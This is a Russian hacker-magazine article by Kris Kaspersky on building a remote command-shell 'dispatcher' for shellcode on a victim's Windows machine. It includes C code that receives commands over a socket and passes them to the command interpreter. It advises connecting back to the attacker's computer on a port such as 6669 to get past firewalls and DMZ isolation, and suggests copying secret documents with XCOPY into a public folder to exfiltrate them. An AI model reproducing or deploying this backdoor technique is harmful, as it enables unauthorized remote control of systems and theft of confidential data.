CMD-shell на службе у хакера Крис Касперски aka мыщъх Спецвыпуск: Хакер, номер #048, стр. 048-016-2 Грубо говоря, командный интерпретатор упаковывается в своеобразный "конверт", также называемый "диспетчер". В задачу диспетчера входит получение входящих команд (отправленных взломщиком), передача их командному интерпретатору на выполнение, перехват результата и возращение его хакеру. Простейшие диспетчеры работают только на прием, вынуждая хакера ломать систему вслепую. Впрочем, всегда можно перенаправить стандартный вывод в какой-нибудь публичный файл. Главное достоинство такого приема в его простоте. Исходный текст диспетчера свободно укладывается в десяток строк кода, компилируемых в считанное количество машинных команд. А компактность shell-кода для большинства переполняющихся буферов весьма актуальна. Конкретный пример реализации может выглядеть так: // мотаем цикл, принимая с сокета команды // пока есть что принимать while(1) { //принимаем очередную порцию данных a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0); //если соединение неожиданно закрылось, выходим из цикла if (a < 1) break; // увеличиваем счетчик количества принятых символов // и внедряем на конец строки завершающий ноль p += a; buf[p] = 0; // строка содержит символ переноса строки? if ((ch = strpbrk(buf, xEOL)) != 0) // да, содержит // отсекаем символ переноса и очищаем счетчик *ch = 0; p = 0; // если строка не пуста, передаем ее командному // интерпретатору на выполнение if (strlen(buf)) { sprintf(cmd, "%s%s", SHELL, buf); exec(cmd); } else break; // если это пустая строка - выходим } } Диспетчер может работать через любой выбранный порт (например, 6669), причем серверную сторону лучше размещать на компьютере взломщика. Диспетчер, открывающий новый порт на компьютере жертвы, во-первых, слишком заметен, а, во-вторых, большинство администраторов блокируют входящие соединения на все непубличные узлы. Атаковать же публичный узел никакого смысла нет – в девяти из десяти случаев он расположен в DMZ-зоне (зоне соприкосновения с интернетом), надежно изолированной от корпоративной локальной сети. Попав на атакуемый компьютер, мы можем, например, посредством команды XCOPY скопировать секретные документы в общедоступную папку, скачивая их оттуда обычным путем (список имеющихся папок поможет выяснить команда dir). И все бы ничего, да вот "слепой" набор уж слишком напрягает. Хотелось бы доработать диспетчер так, чтобы видеть результат выполнения команд на своем экране. По сети ходит совершенно чудовищный код, пытающийся засунуть стандартный ввод/вывод интерпретатора в дескрипторы сокетов и надеющийся, что этот прием однажды может сработать. Однако первая же проверка убеждает нас в обратном. Сокеты – это не дескрипторы, и смешивать их в одну кучу нельзя. Чтобы диспетчер реально заработал, необходимо связать дескрипторы с пайпами (от англ. «pipe» – трубы), а сами пайпы – с дескрипторами. Причем напрямую пайпы с дескрипторами несоединимы, поскольку исповедуют различные концепции ввода/вывода: пайпы используют функции ReadFile/WriteFile, а сокеты – recv/send, что существенно усложняет реализацию диспетчера. |